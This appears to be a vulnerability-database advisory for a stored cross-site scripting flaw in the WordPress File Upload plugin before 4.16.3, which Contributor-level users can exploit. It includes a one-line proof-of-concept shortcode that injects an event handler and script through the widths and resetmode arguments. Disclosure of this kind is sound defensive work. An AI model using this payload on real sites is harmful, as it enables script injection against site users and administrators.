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wpvulndbApple502jWPVDB-ID:C911BBBD-0196-4E3D-ADA3-4EFB8A339954
HistoryFeb 14, 2022 - 12:00 a.m.

WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Shortcode

2022-02-1400:00:00
apple502j
wpscan.com
7
wordpress
file upload
cross-site scripting
shortcode
contributor
security vulnerability

EPSS

0.001

Percentile

21.4%

The plugin does not escape some of its shortcode argument, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks

PoC

[wordpress_file_upload widths=‘title:1;animation-name&colon;twentytwentyone-close-button-transition" onanimationend="alert(/XSS-widths/)’ resetmode=‘“+alert(/XSS-restmode/)&&”’]

EPSS

0.001

Percentile

21.4%

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